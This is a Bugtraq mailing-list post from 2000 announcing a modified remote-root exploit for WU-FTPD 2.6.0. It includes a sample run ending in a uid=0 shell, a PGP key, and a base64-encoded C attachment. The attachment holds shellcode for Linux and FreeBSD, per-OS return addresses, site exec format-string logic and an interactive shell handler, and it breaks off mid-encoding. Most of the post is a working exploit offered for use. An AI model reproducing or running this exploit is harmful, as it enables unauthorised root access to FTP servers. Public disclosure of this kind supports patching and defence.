[15683] in bugtraq
New Released Version of the WuFTPD Sploit
daemon@ATHENA.MIT.EDU (Eric Hines)
Fri Jul 7 17:03:18 2000
Content-Type: Multipart/Mixed;
boundary="Boundary-=_TnsNFWZqfjMAfAdrrWsofsBcnuVq"
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <00070711110904.04471@soc1.priv.nuasis.com>
Date: Fri, 7 Jul 2000 11:43:35 -0700
Reply-To: eric.hines@nuasis.com
From: Eric Hines <eric.hines@NUASIS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <200007070845.e678jI321761@sbrinz.solipsa.com>
--Boundary-=_TnsNFWZqfjMAfAdrrWsofsBcnuVq
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
This is for the mass amounts of people out there who were not able to hit the
correct retr_addr with the previously disseminated exploits. This one nailed my
machines perfectly. The previous problems were caused by the other exploits not
specifying the correct pointer to the shell code, ultimately leaving you with a
telnet session to PORT 21 of the vulnerable machine. While working with some
people over at MIT, we discovered that some machines were hit, while others
with the same configuration weren't. This is yet to be understood. Anyway, I've
attached it herein. This as you will notice is TF8's original distribution,
slightly modified. Notice the new AddrRetAddr field. If s0 doesn't work, I
would reccomend trying the other OS distributions in the list.
My command string was:
[root@soc1 source]# ./wuftpd-god -s0 -t localhost
Target: localhost (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230- for example: joe@localhost.localdomain
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
Linux soc1.priv.nuasis.com 2.2.14-5.0smp #1 SMP Tue Mar 7 21:01:40 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
RE: Eric
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 6.5.2
mQGiBDlP0fgRBADQ6w878kgQ0T1aQOHRHXBu1C+iVUmqDl1R2SE7x+RyoMpYvdTc
8piV4Z2VlbUqf41w9s7jNy3F3M9qj/8EriI7sdmsyyBQiJNonU1lSyaAAWYhqHZ1
DYb0o6PzD3NVctCAsqDoxrHqJlbuuj49pOU0hJcbeIjhy1yupVotV6uB3wCg/zDo
1Swb7FFDHIqDyQ7Kuf+v5r0EAMfm2A/qV4lbXdshRu1o90Wgw0wJwJgjPiU8kelr
T5yVKbBGf6AlkkPagG1+URDZZbKux4pZNn8/GXRubH61vccJ9JUVr9urAQrGhKW9
Hh1BTS1uXbpIMxu1ZquVjEKDS6lao6k6DiamuVEAzL3Ui6R5C/Lfxc0RulijUwZL
Zj6eA/9fL77pYEgDL9VToX3iI21nIDnHxzabbPYjWUBEtRuTJm1nTdBwjhwRzkfZ
h1PrWZ+pYlVMQvIbLhimT6TYRKgXuthuXlC519E81pQB9HK81E1bq5B2JtuhwrdE
hV3UtXihzJc65m4ciSYGnmbuyLMvveYN66hGgSSPrJ3dEtQi/rQiRXJpYyBIaW5l
cyA8ZXJpYy5oaW5lc0BudWFzaXMuY29tPokAVAQQEQIAFAUCOU/R+AUJOGQJAAQL
AwECAhkBAAoJEDBk0XCTfivZAdIAnRELzgdEfu7bG//ObhtZR5Ok2w0YAKCVCopD
ljrpyfJtTP48g7Cx0nbK37kCDQQ5T9H9EAgA9kJXtwh/CBdyorrWqULzBej5UxE5
T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/c
dlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaCl
cjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD
8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZ
yAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+
I5IyJ5LMKjItUVMFvgSrbR2xlNXE7iGO4OJy5dgM6tdw0r9u64XccySbFDvQO9cm
khgmF1qrpPLpdqsPxLtUEI87r3xDndejwDUjKWceDdIotbZZ8Hphf064eC4HW7S4
smJPIbuW768fkB9sAIY9aLANcVVnwRyOJBORYDhn3PLUR7xVun1SN+XxKbAJB8lP
HBZ0D6/eOl45WeOjuVh31mZt7XwbQaRl4UV8SnjxQToeOB1ivhqcT8Fmv3lFuXEu
uQZ32yfZSJs0uAj8vhyF0J+lsuwl8QK3VON6ZI/VAElH5P9YUr6AFdDEWfRmoGl+
V6HmN/yLrs2iYbV89PfluIkATAQYEQIADAUCOU/R/QUJOGQJAAAKCRAwZNFwk34r
2fbRAJ93tZZJStohApQmo2ANFtlS6eK8wQCfZvWiu70Yc2Nn9EYRa1iykp8iq34=
=7vK/
-----END PGP PUBLIC KEY BLOCK-----
--Boundary-=_TnsNFWZqfjMAfAdrrWsofsBcnuVq
Content-Type: text/x-c;
name="wuftpd-final.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="wuftpd-god.c"
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN0ZGxpYi5o
PgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRl
IDxzeXMvdGltZS5oPgojaW5jbHVkZSA8bmV0ZGIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5j
bHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+CiNpbmNsdWRlIDxzaWdu
YWwuaD4KI2luY2x1ZGUgPGVycm5vLmg+CgojaWZkZWYgX19saW51eAojaW5jbHVkZSA8Z2V0b3B0
Lmg+CiNlbmRpZgoKI2RlZmluZSBNQUtFX1NUUl9GUk9NX1JFVCh4KSAoKHgpJjB4ZmYpLCgoKHgp
JjB4ZmYwMCk+PjgpLCgoKHgpJjB4ZmYwMDAwKT4+MTYpLCgoKHgpJjB4ZmYwMDAwMDApPj4yNCkK
I2RlZmluZSBHUkVFTiAiXDAzM1szMm0iCiNkZWZpbmUgUkVEICJcMDMzWzMxbSIKI2RlZmluZSBO
T1JNICJcMDMzWzBtIgoKY2hhciBpbmZpbl9sb29wW109IC8qIGZvciB0ZXN0aW5nIHB1cnBvc2Vz
ICovCiAiXHhFQlx4RkUiOwoKY2hhciBic2Rjb2RlW10gPSAvKiBMYW0zclogY2hyb290KCkgY29k
ZSByZXdyaXR0ZW4gZm9yIEZyZWVCU0QgYnkgdmVuZ2xpbiAqLwogIlx4MzFceGMwXHg1MFx4NTBc
eDUwXHhiMFx4N2VceGNkXHg4MFx4MzFceGRiXHgzMVx4YzBceDQzIgogIlx4NDNceDUzXHg0Ylx4
NTNceDUzXHhiMFx4NWFceGNkXHg4MFx4ZWJceDc3XHg1ZVx4MzFceGMwIgogIlx4OGRceDVlXHgw
MVx4ODhceDQ2XHgwNFx4NjZceDY4XHhmZlx4ZmZceDAxXHg1M1x4NTNceGIwIgogIlx4ODhceGNk
XHg4MFx4MzFceGMwXHg4ZFx4NWVceDAxXHg1M1x4NTNceGIwXHgzZFx4Y2RceDgwIgogIlx4MzFc
eGMwXHgzMVx4ZGJceDhkXHg1ZVx4MDhceDg5XHg0M1x4MDJceDMxXHhjOVx4ZmVceGM5IgogIlx4
MzFceGMwXHg4ZFx4NWVceDA4XHg1M1x4NTNceGIwXHgwY1x4Y2RceDgwXHhmZVx4YzlceDc1Igog
Ilx4ZjFceDMxXHhjMFx4ODhceDQ2XHgwOVx4OGRceDVlXHgwOFx4NTNceDUzXHhiMFx4M2RceGNk
IgogIlx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4YzhceDg4XHg0Nlx4MDRceDMxXHhjMFx4ODhc
eDQ2IgogIlx4MDdceDg5XHg3Nlx4MDhceDg5XHg0Nlx4MGNceDg5XHhmM1x4OGRceDRlXHgwOFx4
OGRceDU2IgogIlx4MGNceDUyXHg1MVx4NTNceDUzXHhiMFx4M2JceGNkXHg4MFx4MzFceGMwXHgz
MVx4ZGJceDUzIgogIlx4NTNceGIwXHgwMVx4Y2RceDgwXHhlOFx4ODRceGZmXHhmZlx4ZmZceGZm
XHhmZlx4ZmZceDMwIgogIlx4NjJceDY5XHg2ZVx4MzBceDczXHg2OFx4MzFceDJlXHgyZVx4MzFc
eDMxXHg3Nlx4NjVceDZlIgogIlx4NjdceDZjXHg2OVx4NmUiOwoKY2hhciBic2RfY29kZV9kW109
IC8qIHlvdSBzaG91bGQgY2FsbCBpdCBkaXJlY3RseSAobm8ganVtcC9jYWxsKSovCiAiXHhFQlx4
RkVceEVCXHgwMlx4RUJceDA1XHhFOFx4RjlceEZGXHhGRlx4RkZceDVDIgogIlx4OEJceDc0XHgy
NFx4RkNceDMxXHhDOVx4QjFceDE1XHgwMVx4Q0VceEIxXHg3MVx4QjBceEVGIgogIlx4MzBceDA2
XHg4RFx4NzZceDAxXHhFMlx4RjlceERFXHgyNlx4REVceDJGXHhCRVx4NUZceEY4IgogIlx4QkZc
eDIyXHg2Rlx4NUZceEI1XHhFQlx4QjRceEJFXHhCRlx4MjJceDZGXHg2Mlx4QjlceDE0IgogIlx4
ODdceDc1XHhFRFx4RUZceEVGXHhCRFx4NUZceDY3XHhCRlx4MjJceDZGXHg2Mlx4QjlceDExIgog
Ilx4QkVceEJEXHg1Rlx4RUFceEJGXHgyMlx4NkZceDY2XHgyQ1x4NjJceEI5XHgxNFx4QkRceDVG
IgogIlx4RDJceEJGXHgyMlx4NkZceEJDXHg1Rlx4RTJceEJGXHgyMlx4NkZceDVDXHgxMVx4NjJc
eEI5IgogIlx4MTJceDVGXHhFM1x4QkRceEJGXHgyMlx4NkZceDExXHgyNFx4OUFceDFDXHg2Mlx4
QjlceDExIgogIlx4QkRceDVGXHhEMlx4QkZceDIyXHg2Rlx4NjJceDk5XHgxMlx4NjZceEExXHhF
Qlx4NjJceEI5IgogIlx4MTdceDY2XHhGOVx4QjlceEI5XHhCRFx4NUZceEQ0XHhCRlx4MjJceDZG
XHhDMFx4OERceDg2IgogIlx4ODFceEMwXHg5Q1x4ODdceEVGXHhDMVx4QzFceEVGIjsKCmNoYXIg
bGludXhjb2RlW109IC8qIExhbTNyWiBjaHJvb3QoKSBjb2RlICovCiAiXHgzMVx4YzBceDMxXHhk
Ylx4MzFceGM5XHhiMFx4NDZceGNkXHg4MFx4MzFceGMwXHgzMVx4ZGIiCiAiXHg0M1x4ODlceGQ5
XHg0MVx4YjBceDNmXHhjZFx4ODBceGViXHg2Ylx4NWVceDMxXHhjMFx4MzEiCiAiXHhjOVx4OGRc
eDVlXHgwMVx4ODhceDQ2XHgwNFx4NjZceGI5XHhmZlx4ZmZceDAxXHhiMFx4MjciCiAiXHhjZFx4
ODBceDMxXHhjMFx4OGRceDVlXHgwMVx4YjBceDNkXHhjZFx4ODBceDMxXHhjMFx4MzEiCiAiXHhk
Ylx4OGRceDVlXHgwOFx4ODlceDQzXHgwMlx4MzFceGM5XHhmZVx4YzlceDMxXHhjMFx4OGQiCiAi
XHg1ZVx4MDhceGIwXHgwY1x4Y2RceDgwXHhmZVx4YzlceDc1XHhmM1x4MzFceGMwXHg4OFx4NDYi
CiAiXHgwOVx4OGRceDVlXHgwOFx4YjBceDNkXHhjZFx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4
YzgiCiAiXHg4OFx4NDZceDA0XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg3Nlx4MDhceDg5XHg0
Nlx4MGMiCiAiXHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4MGNceGIwXHgwYlx4Y2RceDgw
XHgzMVx4YzAiCiAiXHgzMVx4ZGJceGIwXHgwMVx4Y2RceDgwXHhlOFx4OTBceGZmXHhmZlx4ZmZc
eGZmXHhmZlx4ZmYiCiAiXHgzMFx4NjJceDY5XHg2ZVx4MzBceDczXHg2OFx4MzFceDJlXHgyZVx4
MzFceDMxIjsKCiNkZWZpbmUgTUFYX0ZBSUxFRCAgICAgIDQKI2RlZmluZSBNQVhfTUFHSUMgICAg
ICAgMTAwCnN0YXRpYyBpbnQgbWFnaWNbTUFYX01BR0lDXSxtYWdpY19kW01BWF9NQUdJQ107CnN0
YXRpYyBjaGFyICptYWdpY19zdHI9TlVMTDsKaW50IGJlZm9yZV9sZW49MDsKY2hhciAqdGFyZ2V0
PU5VTEwsKnVzZXJuYW1lPSJmdHAiLCpwYXNzd29yZD1OVUxMOwpzdHJ1Y3QgdGFyZ2V0cyBnZXRp
dDsKCnN0cnVjdCB0YXJnZXRzIHsKCWludCBkZWY7CgljaGFyICpvc19kZXNjciwgKnNoZWxsY29k
ZTsKCWludCBkZWxheTsKCXVfbG9uZyBwYXNzX2FkZHIsIGFkZHJfcmV0X2FkZHI7CglpbnQgbWFn
aWNbTUFYX01BR0lDXSwgbWFnaWNfZFtNQVhfTUFHSUNdLGlzbGludXg7Cn07CgpzdHJ1Y3QgdGFy
Z2V0cyB0YXJnW109ewoJezAsIlJlZEhhdCA2LjIgKD8pIHdpdGggd3VmdHBkIDIuNi4wKDEpIGZy
b20gcnBtIixsaW51eGNvZGUsMiwweDgwNzViMDAtNzAwLDB4YmZmZmIwMjgsezB4ODcsMywxLDJ9
LHsxLDIsMSw0fSwxfSwKCXswLCJSZWRIYXQgNi4yIChab290KSB3aXRoIHd1ZnRwZCAyLjYuMCgx
KSBmcm9tIHJwbSIsbGludXhjb2RlLDIsMHg4MDc1YjAwLTcwMCwweGJmZmZiMDM4LHsweDg3LDMs
MSwyfSx7MSwyLDEsNH0sMX0sCgl7MCwiU3VTZSA2LjMgd2l0aCB3dWZ0cGQgMi42LjAoMSkgZnJv
bSBycG0iLGxpbnV4Y29kZSwyLDB4ODA3NmNiMC00MDAsMHhiZmZmYjAxOCx7MHg4NywzLDEsMn0s
ezEsMiwxLDR9LDF9LAoJezAsIlN1U2UgNi40IHdpdGggd3VmdHBkIDIuNi4wKDEpIGZyb20gcnBt
IixsaW51eGNvZGUsMiwweDgwNzY5MjAtNDAwLDB4YmZmZmFmZWMsezB4ODgsMywxLDJ9LHsxLDIs
MSw0fSwxfSwKCXswLCJSZWRIYXQgNi4yIChab290KSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9t
IHJwbSAodGVzdCkiLGxpbnV4Y29kZSwyLDB4ODA3NWIwMC03MDAsMHhiZmZmYjA3MCx7MHg4Nywz
LDEsMn0sezEsMiwxLDR9LDF9LAoKCXswLCJGcmVlQlNEIDMuNC1TVEFCTEUgd2l0aCB3dWZ0cGQg
Mi42LjAoMSkgZnJvbSBwb3J0cyIsYnNkY29kZSwxMCwweDgwYmI0NzQtMTAwLCAweGJmYmZjMTY0
LHsweDNiLDIsNCwxLDB4NDQsMiwxLDJ9LHsxLDIsMSwyLDEsMiwxLDR9LDB9LAoJezEsIkZyZWVC
U0QgMy40LVNUQUJMRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBhY2thZ2VzIixic2Rjb2Rl
LDIsMHg4MDZkNWIwLTUwMCwweGJmYmZjNmJjLCB7MHg4NCwxLDIsMSwyfSwgezEsMywyLDEsNH0s
MH0sCgl7MCwiRnJlZUJTRCAzLjQtUkVMRUFTRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBv
cnRzIixic2Rjb2RlLDIsMHg4MGE0ZGVjLTQwMCwweGJmYmZjNjI0LCB7MHgzQiwyLDEsMHhlLDB4
NDAsMSwyLDEsMn0sezEsMiwxLDIsMSwzLDIsMSw0fSwwfSwKCXswLCJGcmVlQlNEIDQuMC1SRUxF
QVNFIHdpdGggd3VmdHBkIDIuNi4wKDEpIGZyb20gcGFja2FnZXMiLGluZmluX2xvb3AsMiwweDgw
NzA2ZjAsMHhiZmJmZTc5OCx7MHg4OCwyLDEsMn0sezEsMiwxLDR9LDB9LAoJezAsTlVMTCxOVUxM
LDAsMCwwLHswfSx7MH0sMH0KfTsKCnZvaWQgdXNhZ2UoY2hhcip6dSxpbnQgcSl7CmludCBpLCBu
LCBwYWRkaW5nOwpmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIC10IDx0YXJnZXQ+IFstbCB1c2Vy
L3Bhc3NdIFstcyBzeXN0eXBlXSBbLW8gb2Zmc2V0XSBbLWddIFstaF0gWy14XVxuIgoiICAgICAg
ICAgWy1tIG1hZ2ljX3N0cl0gWy1yIHJldF9hZGRyXSBbLVAgcGFkZGluZ10gWy1wIHBhc3NfYWRk
cl0gWy1NIGRpcl1cbiIKInRhcmdldCAgICA6IGhvc3Qgd2l0aCBhbnkgd3VmdHBkXG51c2VyICAg
ICAgOiBhbm9ueW1vdXMgdXNlclxuIgoiZGlyICAgICAgIDogaWYgbm90IGFub255bW91cyB1c2Vy
LCB5b3UgbmVlZCB0byBoYXZlIHdyaXRhYmxlIGRpcmVjdG9yeVxuIgoibWFnaWNfc3RyIDogbWFn
aWMgc3RyaW5nIChzZWUgZXhwbG9pdCBkZXNjcmlwdGlvbilcbi1nICAgICAgICA6IGVuYWJsZXMg
bWFnaWMgc3RyaW5nIGRpZ2dpbmdcbiIKIi14ICAgICAgICA6IGVuYWJsZXMgdGVzdCBtb2RlXG5w
YXNzX2FkZHIgOiBwb2ludGVyIHRvIHNldHByb2N0aXRsZSBhcmd1bWVudFxuIgoicmV0X2FkZHIg
IDogdGhpcyBpcyBwb2ludGVyIHRvIHNoZWxsY29kZVxuc3lzdHlwZXM6IFxuIix6dSk7CiBmb3Io
aT0wO3RhcmdbaV0ub3NfZGVzY3IhPU5VTEw7aSsrKXsKICBwYWRkaW5nPTA7CiAgZnByaW50Zihz
dGRlcnIsIiVzJTJkIC0gJXNcbiIsdGFyZ1tpXS5kZWY/IioiOiIgIixpLHRhcmdbaV0ub3NfZGVz
Y3IpOwogIGlmKHE+MSl7CiAgIGZwcmludGYoc3RkZXJyLCIgICAgIE1hZ2ljIElEOiBbIik7CiAg
IGZvcihuPTA7dGFyZ1tpXS5tYWdpY1tuXSE9MDtuKyspewogICAgaWYodGFyZ1tpXS5tYWdpY19k
W25dPT00KQogICAgIHBhZGRpbmc9dGFyZ1tpXS5tYWdpY1tuXTsKICAgIGZwcmludGYoc3RkZXJy
LCIlMDJYLCUwMlgiLHRhcmdbaV0ubWFnaWNbbl0sdGFyZ1tpXS5tYWdpY19kW25dKTsKICAgIGlm
KHRhcmdbaV0ubWFnaWNbbisxXSE9MCkKICAgICBmcHJpbnRmKHN0ZGVyciwiOiIpOwogICB9CiAg
IGZwcmludGYoc3RkZXJyLCJdIFBhZGRpbmc6ICVkXG4iLHBhZGRpbmcpOwogICBmZmx1c2goc3Rk
ZXJyKTsKICB9CiB9CiBleGl0KDEpOwp9CgppbnQgY29ubmVjdF90b19zZXJ2ZXIoY2hhcipob3N0
KXsKIHN0cnVjdCBob3N0ZW50ICpocDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBjbDsKIGludCBzb2Nr
OwkKCQogaWYoaG9zdD09TlVMTHx8Kmhvc3Q9PShjaGFyKTApewogIGZwcmludGYoc3RkZXJyLCJJ
bnZhbGlkIGhvc3RuYW1lXG4iKTsKICBleGl0KDEpOwogfQogaWYoKGNsLnNpbl9hZGRyLnNfYWRk
cj1pbmV0X2FkZHIoaG9zdCkpPT0tMSkgewogIGlmKChocD1nZXRob3N0YnluYW1lKGhvc3QpKT09
TlVMTCkgewogICBmcHJpbnRmKHN0ZGVyciwiQ2Fubm90IHJlc29sdmUgJXNcbiIsaG9zdCk7CiAg
IGV4aXQoMSk7CiAgfQogIG1lbWNweSgoY2hhciopJmNsLnNpbl9hZGRyLChjaGFyKilocC0+aF9h
ZGRyLHNpemVvZihjbC5zaW5fYWRkcikpOwogfQogaWYoKHNvY2s9c29ja2V0KFBGX0lORVQsU09D
S19TVFJFQU0sSVBQUk9UT19UQ1ApKT09LTEpewogIGZwcmludGYoc3RkZXJyLCJFcnJvciBjcmVh
dGluZyBzb2NrZXQ6ICVzXG4iLHN0cmVycm9yKGVycm5vKSk7CiAgZXhpdCgxKTsKIH0KIGNsLnNp
bl9mYW1pbHk9UEZfSU5FVDsKIGNsLnNpbl9wb3J0PWh0b25zKDIxKTsKIGlmKGNvbm5lY3Qoc29j
aywoc3RydWN0IHNvY2thZGRyKikmY2wsc2l6ZW9mKGNsKSk9PS0xKXsKICBmcHJpbnRmKHN0ZGVy
ciwiQ2Fubm90IGNvbm5lY3QgdG8gJXM6ICVzXG4iLGhvc3Qsc3RyZXJyb3IoZXJybm8pKTsKICBl
eGl0KDEpOwogfQogcmV0dXJuIHNvY2s7Cn0KCmludCBmdHBfcmVjdihpbnQgc29jayxjaGFyKmJ1
ZixpbnQgYnVmX3NpemUsaW50IGRpc2MpewogaW50IG49MDsKIGNoYXIgcTsKCQogaWYoZGlzYykg
d2hpbGUoKG49cmVjdihzb2NrLCZxLDEsMCkpPT0xJiZxIT0nXG4nKTsKIGVsc2UgewogICh2b2lk
KWJ6ZXJvKGJ1ZixidWZfc2l6ZSk7CiAgbj1yZWN2KHNvY2ssYnVmLGJ1Zl9zaXplLDApOwogIGlm
KG48MCl7CiAgIGZwcmludGYoc3RkZXJyLCJmdHBfcmVjdjogcmVjdiBmYWlsZWRcbiIpOwogICBl
eGl0KDEpOwogIH0KICBidWZbbl09MDsKIH0KIHJldHVybiBuOwp9CmludCBmdHBfc2VuZChpbnQg
c29jayxjaGFyKndoYXQsaW50IHNpemUsaW50IGYsY2hhciphbnMsaW50IGFuc19zaXplKXsKIGlu
dCBuOwogbj1zZW5kKHNvY2ssd2hhdCxzaXplLDApOwogaWYobiE9c2l6ZSl7CiAgZnByaW50Zihz
dGRlcnIsImZ0cF9zZW5kOiBmYWlsZWQgdG8gc2VuZC4gZXhwZWN0ZWQgJWQsIHNlbnQgJWRcbiIs
IHNpemUsbik7CiAgc2h1dGRvd24oc29jaywyKTsKICBjbG9zZShzb2NrKTsKICBleGl0KDEpOwog
fQogaWYoZikKICByZXR1cm4gZnRwX3JlY3Yoc29jayxhbnMsYW5zX3NpemUsMCk7CiByZXR1cm4g
MDsKfQoKaW50IGZ0cF9zaXRlZXhlYyhpbnQgc29jayxjaGFyKmJ1ZmYsaW50IGJ1ZmZfbGVuLGlu
dCBxLGNoYXIqYW5zLGludCBhbnNfbGVuKXsKIGZ0cF9zZW5kKHNvY2ssYnVmZixidWZmX2xlbixx
LGFucyxhbnNfbGVuKTsKIGlmKHN0cm5jbXAoYW5zLCIyMDAtIiw0KT09MCkKICAgZnRwX3JlY3Yo
c29jayxOVUxMLDAsMSk7CiBlbHNlCiAgZnRwX3JlY3Yoc29jayxhbnMsYW5zX2xlbiwwKTsKCQog
aWYoc3RybmNtcChhbnMsIjIwMC0iLDQpKXsKICBmcHJpbnRmKHN0ZGVyciwiQ2Fubm90IGZpbmQg
c2l0ZSBleGVjIHJlc3BvbnNlIHN0cmluZ1xuIik7CiAgZXhpdCgxKTsKIH0KIHJldHVybiAwOwp9
Cgp2b2lkIGZ0cF9sb2dpbihpbnQgc29jayxjaGFyKnVfbmFtZSxjaGFyKnVfcGFzcykKewogY2hh
ciBidWZmWzIwNDhdOwogIHByaW50ZigibG9nZ2luIGludG8gc3lzdGVtLi5cbiIpOwogIHNucHJp
bnRmKGJ1ZmYsMjA0NywiVVNFUiAlc1xyXG4iLCB1X25hbWUpOwogIGZ0cF9zZW5kKHNvY2ssIGJ1
ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsKICBwcmludGYoR1JFRU4iVVNFUiAlc1xuIk5P
Uk0iJXMiLHVfbmFtZSxidWZmKTsKICBzbnByaW50ZihidWZmLDIwNDcsIlBBU1MgJXNcclxuIix1
X3Bhc3MpOwogIHByaW50ZihHUkVFTiJQQVNTICVzXG4iTk9STSwqdV9wYXNzPT0nXHg5MCc/Ijxz
aGVsbGNvZGU+Ijp1X3Bhc3MpOwogIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVmZiksMSxi
dWZmLDIwNDcpOwogIHdoaWxlKHN0cnN0cihidWZmLCIyMzAgIik9PU5VTEwpewogICAodm9pZCli
emVybyhidWZmLDIwNDgpOwogICBmdHBfcmVjdihzb2NrLGJ1ZmYsMjA0OCwwKTsKICB9CiAgcHJp
bnRmKCIlcyIsYnVmZik7CiAgcmV0dXJuOwp9Cgp2b2lkIGZ0cF9ta2NoZGlyKGludCBzb2NrLGNo
YXIqY2QsY2hhcipuZXcpCnsKIGNoYXIgYnVmZlsyMDQ4XTsKCiBzcHJpbnRmKGJ1ZmYsIkNXRCAl
c1xyXG4iLGNkKTsKIHByaW50ZihHUkVFTiIlcyJOT1JNLGJ1ZmYpOwogZnRwX3NlbmQoc29jayxi
dWZmLHN0cmxlbihidWZmKSwxLGJ1ZmYsMjA0Nyk7CiBwcmludGYoIiVzIixidWZmKTsKIHNwcmlu
dGYoYnVmZiwiTUtEICVzXHJcbiIsbmV3KTsKIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVm
ZiksMSxidWZmLDIwNDcpOwogcHJpbnRmKEdSRUVOIk1LRCA8c2hlbGxjb2RlPiJOT1JNIlxuJXMi
LGJ1ZmYpOwogc3ByaW50ZihidWZmLCJDV0QgJXNcclxuIixuZXcpOwogZnRwX3NlbmQoc29jayxi
dWZmLHN0cmxlbihidWZmKSwxLGJ1ZmYsMjA0Nyk7CiBwcmludGYoR1JFRU4iQ1dEIDxzaGVsbGNv
ZGU+Ik5PUk0iXG4lcyIsYnVmZik7CiByZXR1cm47Cn0Kdm9pZCBwcm9jZXNzX3Bvc3NpYmx5X3Jv
b3RlZChpbnQgc29jaykKewogZmRfc2V0IAlmZF9yZWFkOwogY2hhciBidWZmWzEwMjRdLCAqY21k
PWdldGl0LmlzbGludXg/Ii9iaW4vdW5hbWUgLWE7L3Vzci9iaW4vaWQ7XG4iOiIvdXNyL2Jpbi91
bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiBpbnQgbjsKCiBGRF9aRVJPKCZmZF9yZWFkKTsKIEZE
X1NFVChzb2NrLCAmZmRfcmVhZCk7CiBGRF9TRVQoMCwgJmZkX3JlYWQpOwogc2VuZChzb2NrLCBj
bWQsIHN0cmxlbihjbWQpLCAwKTsKIHdoaWxlKDEpIHsKICBGRF9TRVQoc29jaywmZmRfcmVhZCk7
CiAgRkRfU0VUKDAsJmZkX3JlYWQpOwogIGlmKHNlbGVjdChzb2NrKzEsJmZkX3JlYWQsTlVMTCxO
VUxMLE5VTEwpPDApIGJyZWFrOwogIGlmKCBGRF9JU1NFVChzb2NrLCAmZmRfcmVhZCkgKSB7CiAg
IGlmKChuPXJlY3Yoc29jayxidWZmLHNpemVvZihidWZmKSwwKSk8MCl7CiAgICAgZnByaW50Zihz
dGRlcnIsICJFT0ZcbiIpOwogICAgIGV4aXQoMik7CiAgIH0KICAgaWYod3JpdGUoMSxidWZmLG4p
PDApYnJlYWs7CiAgfQogIGlmICggRkRfSVNTRVQoMCwgJmZkX3JlYWQpICkgewogICAgaWYoKG49
cmVhZCgwLGJ1ZmYsc2l6ZW9mKGJ1ZmYpKSk8MCl7CQogICAgICBmcHJpbnRmKHN0ZGVyciwiRU9G
XG4iKTsKICAgICAgZXhpdCgyKTsKICAgIH0KICAgIGlmKHNlbmQoc29jayxidWZmLG4sMCk8MCkg
YnJlYWs7CiAgfQogIHVzbGVlcCgxMCk7CQogfQogZnByaW50ZihzdGRlcnIsIkNvbm5lY3Rpb24g
YWJvcnRlZCwgc2VsZWN0IGZhaWxlZCgpXG4iKTsKIGV4aXQoMCk7Cn0KCmludCBtYWdpY19jaGVj
a19mKGludCBzb2NrLCBjaGFyICpzdHIpIHsKIGNoYXIgcVsyMDQ4XSwgYW5zWzIwNDhdOwoKIHNu
cHJpbnRmKHEsIDIwNDgsICJzaXRlIGV4ZWMgJXMlc1xyXG4iLCBzdHIsICIlLmYiKTsKIGlmKCBz
dHJzdHIoIHEsICJcclxuIikgPT0gTlVMTCkgewogIGZwcmludGYoc3RkZXJyLCJMaW5lIFRPTyBi
aWcuLlxuIik7CiAgZXhpdCgtMSk7CiB9CiBmdHBfc2l0ZWV4ZWMoc29jaywgcSwgc3RybGVuKHEp
LCAxLCBhbnMsIDIwNDgpOwogaWYoIGJlZm9yZV9sZW4rMTAgPCBzdHJsZW4oJmFuc1szXSkgKSBy
ZXR1cm4gMDsKIGJlZm9yZV9sZW49c3RybGVuKCZhbnNbM10pOwogKHZvaWQpc3RyY2F0KHN0ciwi
JS5mIik7CiByZXR1cm4gMTsKfQppbnQgbWFnaWNfY2hlY2tfbyhpbnQgc29jaywgY2hhciAqc3Ry
KSB7CiBjaGFyIHFbMjA0OF0sIGFuc1syMDQ4XTsKICBzbnByaW50ZihxLCAyMDQ4LCAic2l0ZSBl
eGVjICVzJXNcclxuIiwgc3RyLCAiJWMiKTsKICBpZiggc3Ryc3RyKCBxLCAiXHJcbiIpID09IE5V
TEwpIHsKICAgZnByaW50ZihzdGRlcnIsIkxpbmUgVE9PIGJpZy4uXG4iKTsKICAgZXhpdCgtMSk7
